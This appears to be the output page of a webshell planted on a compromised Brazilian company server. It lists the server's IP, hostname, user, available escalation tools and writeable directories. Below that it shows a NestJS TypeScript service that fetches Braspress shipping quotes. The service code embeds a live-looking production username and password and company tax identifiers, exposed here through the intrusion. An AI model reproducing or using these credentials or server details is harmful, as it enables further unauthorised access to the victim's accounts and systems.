403Webshell
Server IP : 189.126.111.107  /  Your IP : 216.73.217.69
Web Server : Apache
System : Linux www.gadotticar.com.br 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User : gadotticar ( 1000)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/gadotticar/frete-api/src/frete/transportadoras/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gadotticar/frete-api/src/frete/transportadoras/braspress.service.ts
import { Injectable, HttpException, HttpStatus } from '@nestjs/common';
import { ConfigService } from '@nestjs/config';
import { HttpService } from '@nestjs/axios';
import { lastValueFrom } from 'rxjs';

@Injectable()
export class BraspressService {
    private readonly apiUrl: string;

    constructor(
        private readonly httpService: HttpService,
        private readonly configService: ConfigService,
    ) {
        this.apiUrl = this.configService.get<string>('BRASPRESS_SANDBOX') === 'true'
            ? 'https://sandbox.braspress.com/v1'
            : 'https://api.braspress.com/v1';
    }

    public async calculateShipping(data: any): Promise<any> {
        console.log('BRASPRESS:', data);

        // Determinar CEPs de origem e destino de forma flexível
        const cepOrigem = data.Origem?.cep;
        const cepDestino = data.Destino?.cep;
        const produtos = data.Produtos;

        // Validação básica
        if (!cepOrigem) {
            throw new HttpException('CEP de origem está ausente', HttpStatus.BAD_REQUEST);
        }
        if (!cepDestino) {
            throw new HttpException('CEP de destino está ausente', HttpStatus.BAD_REQUEST);
        }
        if (!produtos || !Array.isArray(produtos) || produtos.length === 0) {
            throw new HttpException('Campo "Produtos" está ausente ou vazio', HttpStatus.BAD_REQUEST);
        }


        console.log(data)
        // Preparar o payload para a API da Braspress
        const payload = {

                cnpjRemetente: '27308366000189', // Ajustado para camelCase, comum em APIs
                cnpjDestinatario: '27308366000189',
                modal: 'R', // Ajustado para "Modal" com "M" maiúsculo
                tipoFrete: 1, // Alterado para "CIF" em vez de "1"
                cepOrigem: cepOrigem.replace(/\D/g, ''),
                cepDestino: cepDestino.replace(/\D/g, ''),
                vlrMercadoria: Number(produtos.reduce((acc: number, prod: any) => acc + (Number(prod.valor) || 0), 0)), // Convertido para número
                peso: Number(produtos.reduce((acc: number, prod: any) => acc + (Number(prod.peso) || 0), 0)), // Convertido para número
                volumes: produtos.length,
                cubagem: produtos.map((produto) => ({
                    altura: produto.altura / 100, // Ajustado para camelCase
                    largura: produto.largura /100,
                    comprimento: produto.comprimento /100,
                    volumes: 1,
                })),



        };

        console.log('Payload preparado para a API da Braspress:', payload);

        // Credenciais da Braspress
        const username = '27308366000189_PRD';
        const password = '85BVYraFPk0Q83pg';
        const authString = Buffer.from(`${username}:${password}`).toString('base64');
        const authorizationHeader = `Basic ${authString}`;

        try {
            const response = await lastValueFrom(
                this.httpService.post(`${this.apiUrl}/cotacao/calcular/json`, payload, {
                    headers: {
                        Authorization: authorizationHeader,
                        'Content-Type': 'application/json',
                    },
                }),
            );

            console.log('Resposta da API da Braspress:', response.data);
            return this.formatResponse(response.data);
        } catch (error) {
            if (error.response) {
                console.error('Erro ao calcular frete - Status:', error.response.status);
                console.error('Erro ao calcular frete - Dados da resposta:', error.response.data);
            } else {
                console.error('Erro ao calcular frete:', error.message);
            }
            throw new HttpException('Error calculating shipping', HttpStatus.INTERNAL_SERVER_ERROR);
        }
    }

    private formatResponse(data: any): any {
        console.log('Formatando resposta da Braspress:', data);
        const valorFrete = data.totalFrete !== undefined && data.totalFrete !== null
            ? String(data.totalFrete.toFixed(2)) // Converte para string com 2 casas decimais
            :null;
        return {
            transportadora: 'Braspress',
            codigo: 1001,
            descricao: data.descricao || 'Frete Braspress',
            cotacao: {
                codigo : data.id,
                msg: 'Braspress',
                valor: valorFrete,
                prazo_min: data.prazo ,
                prazo_max: data.prazo,
            },
        };
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit